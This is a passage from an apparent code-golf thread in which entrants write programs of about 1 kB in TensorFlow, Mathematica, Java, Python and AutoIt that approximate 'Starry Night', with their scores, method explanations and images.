qscale -= ((1 - quantization) * WEIGHTS - tf.reduce_sum(v)) / \ tf.tensordot(qrate, v, 1) unquantized = tf.distributions.Bernoulli( probs=tf.exp(-qscale * qrate), dtype=tf.bool).sample() num_unquantized = tf.reduce_sum(tf.cast(unquantized, tf.int64)) w = tf.where(unquantized, w_real, w_int) a = tf.stack([tf.ones_like(x) * 256, x, y], 1) for n in range(3, NEURONS): a = tf.concat([a, 256 * tf.sigmoid( tf.einsum('in,n->i;', a, w[idx(n):idx(n + 1)]) / SCALE)[:, None]], 1) color = a[:, -3:] err = tf.reduce_sum(tf.square((color - 0.5 - color_) / 255)) train_step = tf.train.AdamOptimizer(0.01).minimize(err, var_list=[w_real]) sess.run(tf.global_variables_initializer()) count = 0 quantization_val = 0 best_err = float("inf") while True: num_unquantized_val, err_val, w_val, _ = sess.run( [num_unquantized, err, w, train_step], {quantization: quantization_val}) if num_unquantized_val == 0 and err_val < best_err: print(end='\r\x1b[K', file=sys.stderr) sys.stderr.flush() print( 'weights', list(w_val.astype(np.int64)), 'count', count, 'err', err_val) best_err = err_val count += 1 print( '\r\x1b[Kcount', count, 'err', err_val, 'unquantized', num_unquantized_val, end='', file=sys.stderr) sys.stderr.flush() quantization_val = (1 - 1e-4) * quantization_val + 1e-4 ``` ### Visualization This picture shows the activations of all 45 neurons as a function of the *x*, *y* coordinates. Click to enlarge. [![neuron activations](https://i.stack.imgur.com/Qfudm.png)](https://i.stack.imgur.com/Qfudm.png) [Answer] # Mathematica, score 14125.71333 ``` "a.png"~Export~ConstantImage[{28,34,41}/95,{386,320}] ``` Saves this image: ![](https://i.stack.imgur.com/Y5hU0.png) to `a.png`. [Answer] ## Java, 7399.80678201 This reminded me of a project I had in my numerical computations class a few semesters back, which was to draw a silhouette of Mount Everest using polynomial interpolation. That was done in MATLAB, but I'm not very fond of MATLAB, so I decided to work in Java. The basic idea behind it is that I chose "smart" points (read here as "random") for the polynomial interpolation. With the few bytes I had left, I created a way for the stars to be drawn, which happens before the drawing of the mountain. It may be possible to condense the code and add another polynomial for the bottom to help better the score. Edit: I've made added and changed some of the polynomials and added all of the stars. My previous score was a 9807.7168935, so as you can see it is a very big improvement. Unfortunately the code took a hit in its readability because I had to squeeze out the last few bytes to get all of the stars, and give them groups. ``` import java.awt.image.*; public class Y{public static void main(String[]a)throws Exception{ int w=386;int[]s={5819,18,5530,9,8644,7,11041,16,21698,14,22354,40/**/,4326,4,29222,14,40262,9,56360,8,59484,12,65748,24}; double[][]p={{-1},{88},{85,0.284,-0.0064,2.028e-5},{128,0.18},{180,0.674,-0.00473,6.65e-6},{240,-0.181},{272,-0.1167},{273,0.075},{3270,-95.57,0.7},{854,-9.83,0.0381}}; int[]c={-12561790,-11439717,-10981487,-11836288,-9600372,-13088667,-13287091,-13354436,-14275540,-14736605}; int o=p.length;BufferedImage b=new BufferedImage(w,320,1); int i=0;for(;i<o;i++) {if(i==o-2)for(int j=0;j<s.length;j+=2)for(int l=0;l<w*320;l++)if((l%w-s[j]%w)*(l%w-s[j]%w)+(l/w-s[j]/w)*(l/w-s[j]/w)<s[j+1]*s[j+1]) b.setRGB(l%w, l/w,j<s.length/2+1?j==10?-5788556:-8944525:-7036782); for(int l=0;l<w*320;l++){int m=0;for(int y=0;y<p[i].length;y++)m+=Math.pow(l%w,y)*p[i][y];if(l/w>m)b.setRGB(l%w,l/w,c[i]);} } javax.imageio.ImageIO.write(b,"png",new java.io.File("o.png")); } } ``` 9807.7168935 points: [![submission image](https://i.stack.imgur.com/atZE8.png)](https://i.stack.imgur.com/atZE8.png) 7399.80678201 points: [![New submission image](https://i.stack.imgur.com/GlfBa.png)](https://i.stack.imgur.com/GlfBa.png) [Answer] # Python3.4+, 4697.26 I used the same method as in my ImageMagick answer, but with the following parameters: ``` convert ORIGINAL.png -filter Lanczos2 -resize x32 - | pngquant --speed 1 -f 20 > i ``` Using these parameters I generated the following 1003 byte Python program (I didn't find any improvements over @kennytm's output method): ``` import base64,io,PIL.Image PIL.Image.open(io.BytesIO(base64.b85decode('iBL{Q4GJ0x0000DNk~Le0000d0000W2m=5B0H%16zW@LLJWxzjMIIp@MPHIFJ#$E2f;B{2CoMBscAryil4g95I81|Zh@Ln<KPWOvf|rw@ter+yW3aV*evEZoY;v=uM0+bp*#H0nK}keGRCobZkq5FQAq+ze25eH(F!#UfO3bFOD)N&<AyN0%G0qy;d5u*~Ym6yks#+BaTB}6=d_2Z;Vzlk&;0~~Hy_i{>+fAa)ZE?UH1H4;-#jy7d<b%%Vecw3+`%q(!07-C(^lrsAlm_hcKIHhG&w-n|TvQA6gffYd`#$#lIaq_aH#b${0Rr~{_dXIXm(EsD=KF%BDY~EjjR!sA$`(cljOEjUsu$E%b-uF%pXA;tc+?QOHOg1TfuI?XhSeXYZ9>3XUzpreH6$%YFH{Ofn-d0cv*IqjHQQU+M=7PX5(65sP+;Sbo9=+q2n+8p!-Vw8kW>i%<+}8cQmp`7FKsM?maF*)_e&%vv>nKK;O9GnTVux79!MU;XJ(P4OxFsdP$0<JBn1vPFS#C^=MtEd4K#KWfKgNUS4R-<e)-d?qU?a%g3wBDo2O@CR|#C_9XJLv7TEYbh}4|ri%<P>OPRyX9b--+5K2xN0yhh}oR+t?_naKqIwRUjV<bqt&A9{``7{7G;88q{R8t-~qEriF@LeuTcV}g0x*{|NCUjH^IW_2VS#ngo0;)A8{!h?a6_~1|sx=8kcHC;BrkG+))LLgje9A;921P%7)U^m<Ugv<kAte9fZUa4$W^i)!NGB(M$&qu%TOOqPB^PW9T<Y?FV(GmvdNZJ&G2hY#uH^@ah#eF6sjt;LYY<+_4}trV444*z;!N%*2#R9%)CbWUy<g$^9|zqjA?NsQ`UPFmBW7cjo=pG%002ovPDHLkV1f'))).convert().resize((386,320),1).save('o.png') ``` Which in turn generates this image: [![starry night, compressed](https://i.stack.imgur.com/Byk9f.png)](https://i.stack.imgur.com/Byk9f.png) [Answer] # Python 3, score 5701.31 ``` import base64,io,PIL.Image PIL.Image.open(io.BytesIO(base64.b85decode('iBL{Q4GJ0x0000DNk~Le0000I0000D2m$~A04pr1P5=M`lSxEDRCrzu%wJF2MgRctyYrpz&VS-04oPU$02O1RYA2$KKm9YcYEUcDJyh+N==-F7oxW_3ecQvNY1*VQwC-UKjIkjQ8wn&8)Ukt&?VNpg?HBmL%~#(%>G5yhoON#6r~Pv6ekHzgk~o3d4gyuJL`u_K5Ca>QWmKD%@0G*T5|2ap)6YJolVN{skh#D2-J*z9sSwJGT&-<XKaADxALs3bTgxl>{_=mG9vyzZf!umCPV=nDpY_PnlC(U%vg$wXwH`cZEO(oS$M*5D=xu#wxzx3!2Zo>s9W*kYzx=A=N>*_{sW%pHRqD>^@zKSEq$TGjvKY#BrP)@HRR163l}43&{y(F((e1rtc2!^X2mO6y&o}IoM9kipbs;pk<JuNalW`QGD9ugFJ{UH3_MAMEM)%9DOccA@Z&M+Kv__Mexy}qD>itE08H7@&wK|if_I*zRFxSRUz9?^ZFg`m^?krP_gDeQ=7dy{4cvhr8><E*y5|gu_xM_1{!!*9Udz<+_jw1Qn_8z|8D0lw?VUSJ>bv`&qy7v&oe)U74a}D9r0<?Kbh$WO6X2sFFvtPgeQELMW#a8ZE``e1>Z20f*zxY<|S}V_D!tCjlc()f7Q<cT<xpz%u5MkbZ`g)qD@ZpQEom%VU&+p<WAef3W^P20qpiYIF)WfEkB@uUOn2ZrL7{m3tn}q|oboY^-PGxZcw3I>uj1fd$ZJs(Vr6?~D<kd795dbx^Ypn(<BaJBRu5S{v9QF?lgFv8^lE5$vMH@2~1P&$UXmDz~jMc9@hDb6+sUt-RA3a?K08cLC;5>#H%1mH_FaU0|12sV9)OKBnxI$()5d@YBM2xYIb)G!>9@_oL00000NkvXXu0mjf'))).resize((386,320),1).save('a.png') ``` Simply rescale from a 18×13 PNG image. ![enter image description here](https://i.stack.imgur.com/V6qi6.png) [Answer] ## Java, 8748.95 Another approach: I created a class that computes a [Voronoi Diagram](https://en.wikipedia.org/wiki/Voronoi_diagram) from a given set of points. This set of points is used as the parameter set that serves as the input for the [Apache BOBYQAOptimizer](https://commons.apache.org/proper/commons-math/apidocs/org/apache/commons/math3/optim/nonlinear/scalar/noderiv/BOBYQAOptimizer.html). The evaluation function of the optimizer takes the points and creates a voronoi diagram from them. The voronoi regions are colored with the average color of the corresponding region of the original image. The optimization process is shown here: [![StarryNightAnimation](https://i.stack.imgur.com/CGWog.gif)](https://i.stack.imgur.com/CGWog.gif) The final image is this one: [![StarryNight](https://i.stack.imgur.com/Rbopx.png)](https://i.stack.imgur.com/Rbopx.png) which achieves are score of 8748.95 (This was measured with my own function, but should be the same as with the evaluation script) The result of this process is only a set of 8 points and the corresponding colors. (A higher number of points caused worse results, but I didn't try this out really extensively). The resulting code is shown here (sorry, I had to golf it a little to squeeze it into the 1kB limit) : ``` import java.awt.Point; import java.awt.image.BufferedImage; import java.io.File; import java.util.Arrays; import java.util.List; import javax.imageio.ImageIO; class V { public static void main(String[] args) throws Exception { BufferedImage i = new BufferedImage(386,320,2); f(i, Arrays.asList( 275,159,247,237,46,115,108,313,244,267,59,116,94,111,219,166 ),Arrays.asList( -10127225,-13022618,-11310968,-14341589,-13551293,-14209747,-11311484,-10915442 )); ImageIO.write( i, "png", new File("x.png"));}static void f(BufferedImage i, List<Integer> p, List<Integer> c){int x,y,r=0; Point q = new Point(), a=new Point(); for (y=0; y<i.getHeight(); y++) { for (x=0;x<i.getWidth(); x++) { q.x=x; q.y=y; double d = 1e10;; for (int j=0; j<p.size(); j+=2) { a.x=p.get(j); a.y=p.get(j+1); double s = q.distance(a); if (s < d) { d = s; r = j/2; } } i.setRGB(q.x, q.y, c.get(r));}}}} ``` (I know, there are some easy ways that could have achieved better results, but ... this somehow was fun...) > > EDIT: > > > In response to the comment, regarding the artistic style of such a voronoi image with a larger number of points: This indeed looks interesting, and some imaging tools actually offer this as a "Mosaic Filter" - for example, the [Mosaic Filter in GIMP](https://docs.gimp.org/en/plug-in-mosaic.html) (although this offers options to emphasize the edges etc.). Here is an example of the Starry Night image, with 256 points. (These are selected randomly, but with a larger number of points, the improvement that could be achieved by an optimization will vanish). **This is not part of the contest** (as it does not fit into 1kB), just for the curious: [![StarryNightMosaic](https://i.stack.imgur.com/HHkzo.png)](https://i.stack.imgur.com/HHkzo.png) [Answer] ## [AutoIt](http://autoitscript.com/forum), ~~9183.25~~ 7882.53 **UPDATE** So it turns out that redrawing the image like a (drunk) toddler is more effective than storing any version of the image. (More effective than *my* old solution anyway). Every line that draws an element is crucial to decreasing the score. I suspect this program is capable of achieving scores well below 7000 with very minor modifications, because every single change has huge (~20 to 100 points) effects on the score. The program uses my [`processing`](https://autoit.de/index.php/Thread/33166-8-Graphic-Beispiele/) graphics library that provides terse function names for drawing using GDI. Since this solution involves randomness, we seed the PRNG using the constant value `0` using `SRandom(0)`. Why 0? Because it is up to 50 points better than any other `n<=100` I tried. The canvas starts out as a blank `#587092`. **Generating the floor** The lower part of the image (which it turns out begins at *exactly* 233px [again, because of points]) is filled with exactly `int(1e4*2.9)` ellipses. Changing the factor here (or a decimal place of the factor) can de- and increase the score by hundres of points. I settled for 2.9 after a few tries. Naturally this will take some time (few seconds). A five-color palette is supplied: ``` Dim $3=[0x202526,0x48555A,0x394143,0x364458,0x272E3A] For $n=1 To 1e4*2.9 $c=$3[$6(0,4,1)] pen($2,$c,$c) $4($2,$6(0,386),$6(233,320),4,3) Next ``` **Blobs on the floor** Four ellipses are used to set contrasty accents inside the floor area (`$4` is a function pointer to `ellipse()`): ``` pen($2,0x1E221F,0x1E221F) $4($2,44,44,37,290) $4($2,40,200,99,130) $4($2,245,270,30,20) $4($2,355,165,30,20) ``` **Generating accents in the sky** Some lines are drawn using a thicker pen to represent significant color areas inside the sky that a stretched too much for ellipses: ``` $4($2,333,193,50,31) pensize($2,10) pen($2,0x24292E,0x24292E) move($2,0,250) linestep($2,386,175) pen($2,0x9FAC9C,0x9FAC9C) $4($2,333,120,66,33) move($2,215,190) linestep($2,340,140) ``` **Weighing the pixels** After the above, all is rinse and repeat until we run out of bytes. Then a blur is applied to trick the validation method. By brute force, it has been determined that a radius of exactly 20 provides the best result. This improves the score by round about 1.5k(!). **Final image** [![toddler drawing](https://i.stack.imgur.com/Q6qUw.png)](https://i.stack.imgur.com/Q6qUw.png) **Code, [985 bytes](https://mothereff.in/byte-counter#%23include%3CScreenCapture.au3%3E%0A%23include%3CGDIPlus.au3%3E%0A%23include%3Cprocessing.au3%3E%0ASRandom%280%29%0A%244%3Dellipse%0A%246%3DRandom%0A%241%3DGUICreate%280%2C386%2C320%29%0Acolor%280x587092%29%0A%242%3Dsize%280%2C0%29%0ADim%20%243%3D%5B0x202526%2C0x48555A%2C0x394143%2C0x364458%2C0x272E3A%5D%0AFor%20%24n%3D1%20To%201e4%2a2.9%0A%24c%3D%243%5B%246%280%2C4%2C1%29%5D%0Apen%28%242%2C%24c%2C%24c%29%0A%244%28%242%2C%246%280%2C386%29%2C%246%28233%2C320%29%2C4%2C3%29%0ANext%0Apen%28%242%2C0x1E221F%2C0x1E221F%29%0A%244%28%242%2C44%2C44%2C37%2C290%29%0A%244%28%242%2C40%2C200%2C99%2C130%29%0A%244%28%242%2C245%2C270%2C30%2C20%29%0A%244%28%242%2C355%2C165%2C30%2C20%29%0Apen%28%242%2C0x506E9B%2C0x506E9B%29%0A%244%28%242%2C333%2C193%2C50%2C31%29%0Apensize%28%242%2C10%29%0Apen%28%242%2C0x24292E%2C0x24292E%29%0Amove%28%242%2C0%2C250%29%0Alinestep%28%242%2C386%2C175%29%0Apen%28%242%2C0x9FAC9C%2C0x9FAC9C%29%0A%244%28%242%2C333%2C120%2C66%2C33%29%0Amove%28%242%2C215%2C190%29%0Alinestep%28%242%2C340%2C140%29%0A%244%28%242%2C105%2C145%2C40%2C40%29%0A%244%28%242%2C315%2C15%2C70%2C70%29%0A%244%28%242%2C215%2C15%2C30%2C30%29%0Apen%28%242%2C-1%2C0xB6A73F%29%0A%244%28%242%2C330%2C30%2C40%2C40%29%0A%244%28%242%2C20%2C5%2C20%2C20%29%0A%244%28%242%2C115%2C155%2C30%2C30%29%0AGUISetState%28%29%0ASleep%2899%29%0A%5fGDIPlus%5fStartup%28%29%0A%245%3D%5fGDIPlus%5fBitmapCreateFromHBITMAP%28%5fScreenCapture%5fCaptureWnd%28%22%22%2C%241%2C1%2C26%2C386%2C345%2C0%29%29%0A%5fgdiplus%5fImageSaveToFile%28%245%2C%5fGDIPlus%5fBitmapApplyEffect%28%245%2C%5fGDIPlus%5fEffectCreateBlur%2820%29%29%26%22.png%22%29)** ``` #include<ScreenCapture.au3> #include<GDIPlus.au3> #include<processing.au3> SRandom(0) $4=ellipse $6=Random $1=GUICreate(0,386,320) color(0x587092) $2=size(0,0) Dim $3=[0x202526,0x48555A,0x394143,0x364458,0x272E3A] For $n=1 To 1e4*2.9 $c=$3[$6(0,4,1)] pen($2,$c,$c) $4($2,$6(0,386),$6(233,320),4,3) Next pen($2,0x1E221F,0x1E221F) $4($2,44,44,37,290) $4($2,40,200,99,130) $4($2,245,270,30,20) $4($2,355,165,30,20) pen($2,0x506E9B,0x506E9B) $4($2,333,193,50,31) pensize($2,10) pen($2,0x24292E,0x24292E) move($2,0,250) linestep($2,386,175) pen($2,0x9FAC9C,0x9FAC9C) $4($2,333,120,66,33) move($2,215,190) linestep($2,340,140) $4($2,105,145,40,40) $4($2,315,15,70,70) $4($2,215,15,30,30) pen($2,-1,0xB6A73F) $4($2,330,30,40,40) $4($2,20,5,20,20) $4($2,115,155,30,30) GUISetState() Sleep(99) _GDIPlus_Startup() $5=_GDIPlus_BitmapCreateFromHBITMAP(_ScreenCapture_CaptureWnd("",$1,1,26,386,345,0)) _gdiplus_ImageSaveToFile($5,_GDIPlus_BitmapApplyEffect($5,_GDIPlus_EffectCreateBlur(20))&".png") ``` --- **OLD ANSWER** This stores 80 color values which make up a 10x8 px picture. This raw picture has a score of 10291. Since 10x8 is a pixelation factor of 40px, a Gaussian blur is applied using a radius of 40px to lower the score. This is how the script achieves 9183.25. This is the stored data: [![raw data](https://i.stack.imgur.com/zBP6U.jpg)](https://i.stack.imgur.com/zBP6U.jpg) The file produced is True.png: [![picture](https://i.stack.imgur.com/eGDKt.png)](https://i.stack.imgur.com/eGDKt.png) The program is [998 bytes](https://mothereff.in/byte-counter#%23include%3CScreenCapture.au3%3E%0A%23include%3CGDIPlus.au3%3E%0A%241%3DGUICreate%280%2C386%2C320%29%0A%244%3D0%0AFor%20%243%3D0%20To%207%0AFor%20%242%3D0%20To%209%0AGUICtrlSetBkColor%28GUICtrlCreateLabel%28%22%22%2C%242%2a40%2C%243%2a40%2C40%2C40%29%2CDec%28StringSplit%28%221B2A56%2C3D5183%2C39487B%2C3E4D7E%2C313C72%2C2B375B%2C333C6F%2C6E7A8F%2C878D8A%2C868985%2C4E6590%2C344992%2C344590%2C3E5793%2C485C9C%2C6A7BA0%2C525C65%2C637B8F%2C96A48D%2C92A0A0%2C758087%2C465D84%2C3D5C94%2C4A6387%2C496498%2C6A83A4%2C778F97%2C607A8F%2C6A8498%2C727E6E%2C72878D%2C65747E%2C586D83%2C71889D%2C476792%2C57708B%2C68899E%2C7A959A%2C708892%2C808789%2C728282%2C4C5747%2C415458%2C5C778B%2C5A6E80%2C4C6C94%2C63848E%2C656D6F%2C6A7687%2C75858F%2C434E63%2C29343D%2C263036%2C4C574D%2C6B747A%2C506895%2C2D4871%2C1D2F46%2C3D4C46%2C434E7A%2C2B2D2A%2C151B1D%2C282723%2C121727%2C23312F%2C26343C%2C213537%2C1E282E%2C414861%2C444F45%2C887E6B%2C434133%2C262216%2C352D26%2C3E3522%2C34322E%2C444040%2C352F36%2C444551%2C3F4047%22%2C%22%2C%22%2C3%29%5B%244%5D%29%29%0A%244%2B%3D1%0ANext%0ANext%0AGUISetState%28%29%0ASleep%282e3%29%0A%5fGDIPlus%5fStartup%28%29%0A%245%3D%5fGDIPlus%5fBitmapCreateFromHBITMAP%28%5fScreenCapture%5fCaptureWnd%28%22%22%2C%241%2C1%2C26%2C386%2C345%2C0%29%29%0A%5fgdiplus%5fImageSaveToFile%28%245%2C%5fGDIPlus%5fBitmapApplyEffect%28%245%2C%5fGDIPlus%5fEffectCreateBlur%2840%29%29%26%22.png%22%29) long: ``` #include<ScreenCapture.au3> #include<GDIPlus.au3> $1=GUICreate(0,386,320) $4=0 For $3=0 To 7 For $2=0 To 9 GUICtrlSetBkColor(GUICtrlCreateLabel("",$2*40,$3*40,40,40),Dec(StringSplit("1B2A56,3D5183,39487B,3E4D7E,313C72,2B375B,333C6F,6E7A8F,878D8A,868985,4E6590,344992,344590,3E5793,485C9C,6A7BA0,525C65,637B8F,96A48D,92A0A0,758087,465D84,3D5C94,4A6387,496498,6A83A4,778F97,607A8F,6A8498,727E6E,72878D,65747E,586D83,71889D,476792,57708B,68899E,7A959A,708892,808789,728282,4C5747,415458,5C778B,5A6E80,4C6C94,63848E,656D6F,6A7687,75858F,434E63,29343D,263036,4C574D,6B747A,506895,2D4871,1D2F46,3D4C46,434E7A,2B2D2A,151B1D,282723,121727,23312F,26343C,213537,1E282E,414861,444F45,887E6B,434133,262216,352D26,3E3522,34322E,444040,352F36,444551,3F4047",",",3)[$4])) $4+=1 Next Next GUISetState() Sleep(2e3) _GDIPlus_Startup() $5=_GDIPlus_BitmapCreateFromHBITMAP(_ScreenCapture_CaptureWnd("",$1,1,26,386,345,0)) _gdiplus_ImageSaveToFile($5,_GDIPlus_BitmapApplyEffect($5,_GDIPlus_EffectCreateBlur(40))&".png") ``` [Answer] # Python 2, 4749.88 1018 bytes Everybody has probably forgotten about this problem by now, except me.... This problem interested me far too much, especially as it quickly became apparent that approaches using image compression algorithms were definitely in the lead, but yet somehow unsatisfying from an aesthetic standpoint. Approaches based on optimizing a set of drawing primitives were somehow more pleasing from a code aesthetic point of view, but seemed blocked just above the 5000 score. nneonneo's method that did not use an off the shelf image compression beats the 5000 mark, but does so by encoding a tiny image and upscaling it. Here is a program that uses drawing primitives only, is generated automatically by an optimization method, and manages to get a score of 4749.88. ``` import cv2 as v,numpy as n,struct z=n.ones((320,386,3),'u1') z[:]=145,106,81 z[226:]=80,67,56 s='v\n#{~X©s"¾|ën²ºÉ¬ª·.v"4Á=ð.yv>ä;¦>t?ÞC°GòS¾ó[pQ¹,g]xgQÒWµló´:eX K² }w¯hVZ[ÂbD¹t¦\n§1±"}¼e®`h¸B½qò¥èJÕN©²f­J¦ü ³|©t| \rÕ5SO©¾zP±¤Od\rÆ¥L©|¸B{I¯Öb~¯½ÒdzQ½}}D«s\x8ewxK ^pMz2L5`mce|ÙvlRcnJqw3|ÿGZ:s4\r]r. ÝX,(\n*÷¹òW@Àà´IºäQ,pfuQhØvTzDÂ\\NnbSbº |!1o0»5,fSñ8¿-VÇ4}¡$y  ­S(Y³ek.MÌ  wdvB\n r³UƨJÒ^<©èf#}<©lux6º}\0SÑP{\0TBÏx°A~w00ÃU)\x8e\n½Iá\0TòKUVmWOTæ¢ynLrXYKº\npkJWÀw«g"Sh4kIg"|[pÞ££ì$OH\\³>°nu9|6Õ¼¡.A2qrÀ\\ZýzE{mwG]+YHÃèrälT·¥DNN\0T' m,h=512,62 for a,b,c,d,r in[struct.unpack('HHBBB',s[7*i:7*i+7])for i in range(92)]: x,y=a/m-h,b/m-h for k in range(h):v.circle(z,(a%m-h+x*k/h,b%m-h+y*k/h),r,n.clip((.9*c+.9*d-120,c-.3*d+41,.9*c-.6*d+80),0,255),-1) v.imwrite('a.png',v.blur(z,(9,9))) ``` which looks like this: ![drawing result](https://i.stack.imgur.com/zxwty.png) and the hexdump of the code: ``` 0000000: efbb bf69 6d70 6f72 7420 6376 3220 6173 ...import cv2 as 0000010: 2076 2c6e 756d 7079 2061 7320 6e2c 7374 v,numpy as n,st 0000020: 7275 6374 0a7a 3d6e 2e6f 6e65 7328 2833 ruct.z=n.ones((3 0000030: 3230 2c33 3836 2c33 292c 2775 3127 290a 20,386,3),'u1'). 0000040: 7a5b 3a5d 3d31 3435 2c31 3036 2c38 310a z[:]=145,106,81. 0000050: 7a5b 3232 363a 5d3d 3830 2c36 372c 3536 z[226:]=80,67,56 0000060: 0a73 3d27 8076 5c6e 0523 8414 9d7b 7e58 .s='.v\n.#...{~X 0000070: a973 22be 7ceb 6eb2 8416 ba05 c9ac aa8b .s".|.n......... 0000080: 13b7 2e76 0522 8434 c13d f08a 2e95 0e79 ...v.".4.=.....y 0000090: 763e e43b a60b 3e74 3fde 43b0 0b9e 9247 v>.;..>t?.C....G 00000a0: f253 be0e 0cf3 5b70 51b9 1a2c 675d 7889 .S....[pQ..,g]x. 00000b0: 850f 6719 51d2 57b5 116c 05f3 909a 940c ..g.Q.W..l...... 00000c0: b405 3a65 58a0 114b b220 7d77 af0b 6856 ..:eX..K. }w..hV 00000d0: 835a 5bc2 1562 44b9 749b a65c 6e90 0701 .Z[..bD.t..\n... 00000e0: a731 9807 9107 b122 7dbc 1265 05ae 6068 .1....."}..e..`h 00000f0: b80c 42bd 71f2 9ca5 01e8 4ad5 4e8d a90e ..B.q.....J.N... 0000100: 1291 b266 93ad 0c4a a6fc 9e9a 8d09 b37c ...f...J.......| 0000110: a974 937c 095c 72d5 3553 4fa9 1d9d 94be .t.|.\r.5SO..... 0000120: 7a50 b10e a44f 8064 851e 5c72 8fc6 a54c zP...O.d..\r...L 0000130: 8ba9 0f81 7cb8 421c 7b07 49af d662 7eaf ....|.B.{.I..b~. 0000140: 1abd d264 7a51 bd0b 7d87 7d44 ab73 0b8c ...dzQ..}.}D.s.. 0000150: 5c78 3865 7778 874b 095e 704d 7a91 3207 \x8ewx.K.^pMz.2. 0000160: 4c35 606d 0b63 0865 7cd9 769e 6c0b 5263 L5`m.c.e|.v.l.Rc 0000170: 8b6e 9a82 0b4a 7113 7733 9c0b 9f7c ff86 .n...Jq.w3...|.. 0000180: 479b 0b5a 143a 7334 9d5c 7282 965d 722e G..Z.:s4.\r..]r. 0000190: 9509 dd58 2c9d 288c 5c6e 2a1f f796 938c ...X,.(.\n*..... 00001a0: 07b9 f20f 5792 8907 40c0 e0b4 49ba 02e4 [[email protected]](/cdn-cgi/l/email-protection)... 00001b0: 9c51 9d2c 8a0e 7066 7551 1168 03d8 7654 .Q.,..pfuQ.h..vT 00001c0: 7a88 4406 c25c 5c4e 6e95 0101 6253 1c8f z.D..\\Nn...bS.. 00001d0: 62ba 097c 2131 6f30 8803 bb35 2c8b 6685 b..|!1o0...5,.f. 00001e0: 0753 f138 bf2d 9306 56c7 347d 909c 0295 .S.8.-..V.4}.... 00001f0: a124 8b79 a009 ad53 2885 1c59 01b3 656b .$.y...S(..Y..ek 0000200: 892e 860b 4dcc 9988 8da0 099e 7764 769f ....M.......wdv. 0000210: 425c 6ea0 8572 86b3 550b c6a8 904a 908a B\n..r..U....J.. 0000220: 05d2 5e92 9a3c a905 e866 237d 3ca9 0b6c ..^..<...f#}<..l 0000230: 7578 3681 ba07 7d80 9304 5c30 5302 97d1 ux6...}...\0S... 0000240: 507b 5c30 5401 4280 cf78 b083 0696 417e P{\0T.B..x....A~ 0000250: 7730 920b 30c3 5589 295c 7838 655c 6ebd w0..0.U.)\x8e\n. 0000260: 49e1 865c 3054 01f2 984b 5501 5602 086d I..\0T...KU.V..m 0000270: 574f 0154 03e6 a279 828c 9d07 926e 4c72 WO.T...y.....nLr 0000280: 8a58 038c 8459 884b ba5c 6e70 846b 4a57 .X...Y.K.\np.kJW 0000290: c008 9077 9180 ab67 0b22 5368 9734 8911 ...w...g."Sh.4.. 00002a0: 1a6b 4967 2284 067c 815b 8570 9306 de9c .kIg"..|.[.p.... 00002b0: a38a 8ba3 08ec 244f 485c 5cb3 083e b06e ......$OH\\..>.n 00002c0: 7539 7c0c 36d5 bc86 94a1 042e 4132 859c u9|.6.......A2.. 00002d0: 9a01 7172 c05c 5c04 5a01 fd7a 457b 6d91 ..qr.\\.Z..zE{m. 00002e0: 0611 7747 8d5d 9708 2b59 9548 c38c 01e8 ..wG.]..+Y.H.... 00002f0: 72e4 6c54 b706 a544 4e4e 5c30 5401 270a r.lT...DNN\0T.'. 0000300: 6d2c 683d 3531 322c 3632 0a66 6f72 2061 m,h=512,62.for a 0000310: 2c62 2c63 2c64 2c72 2069 6e5b 7374 7275 ,b,c,d,r in[stru 0000320: 6374 2e75 6e70 6163 6b28 2748 4842 4242 ct.unpack('HHBBB 0000330: 272c 735b 372a 693a 372a 692b 375d 2966 ',s[7*i:7*i+7])f 0000340: 6f72 2069 2069 6e20 7261 6e67 6528 3932 or i in range(92 0000350: 295d 3a0a 2078 2c79 3d61 2f6d 2d68 2c62 )]:. x,y=a/m-h,b 0000360: 2f6d 2d68 0a20 666f 7220 6b20 696e 2072 /m-h. for k in r 0000370: 616e 6765 2868 293a 762e 6369 7263 6c65 ange(h):v.circle 0000380: 287a 2c28 6125 6d2d 682b 782a 6b2f 682c (z,(a%m-h+x*k/h, 0000390: 6225 6d2d 682b 792a 6b2f 6829 2c72 2c6e b%m-h+y*k/h),r,n 00003a0: 2e63 6c69 7028 282e 392a 632b 2e39 2a64 .clip((.9*c+.9*d 00003b0: 2d31 3230 2c63 2d2e 332a 642b 3431 2c2e -120,c-.3*d+41,. 00003c0: 392a 632d 2e36 2a64 2b38 3029 2c30 2c32 9*c-.6*d+80),0,2 00003d0: 3535 292c 2d31 290a 762e 696d 7772 6974 55),-1).v.imwrit 00003e0: 6528 2761 2e70 6e67 272c 762e 626c 7572 e('a.png',v.blur 00003f0: 287a 2c28 392c 3929 2929 (z,(9,9))) ``` It uses a number of tricks used previously here: * Using a blur to push the final score up a bit * Cramming raw bytes into python code (which is not as simple as suggested earlier in this thread, more characters need to be escaped than just backslashes and nulls, dig into the code here for details). * Compressing the color space into two dimensions. Fascinatingly, this particular starry night image is nearly a plane in RGB space. As a first primitive, I place a horizon line, splitting the image into two different colored blocks. Afterwards, as a basic primitive I used a circle dragged between two points. This looked vaguely like a brushstroke to me, but was possible to express in 7 bytes. For the search process, I used a guided pattern search. It proceeds by alternately adding a primitive, and optimizing its parameters. The primitive is added on the point where the blurred signed error is highest. The parameters are optimized by exhaustive line optimization over a small domain, one after the other. Forty to fifty primitives are added, and optimized individually. Then, the list of primitives is pruned down to size by throwing away the primitives that help the score the least. This *still* does not beat nneonneo's score. To beat that score, a second stage optimization was required, which goes again through the process of adding primitives at each of several filtering levels, and throwing primitives away to trim the generated program down to size. What was really interesting to me was the idea of applying this to other images. I applied it to a couple of other images, and provide further details and animation of the primitives being drawn [in my blog here](http://strawprojects.blogspot.ca/2016/03/art_20.html). The two programs used to generate this won't actually fit in the space allowable on Stack Exchange posts, but they are on github: <https://github.com/str4w/starrynight/tree/StackExchange> starrynight is run first, followed by stage2optimization. The resulting program is also there, in the same directory. [Answer] # Windows BAT file, score 4458.854 ``` echo 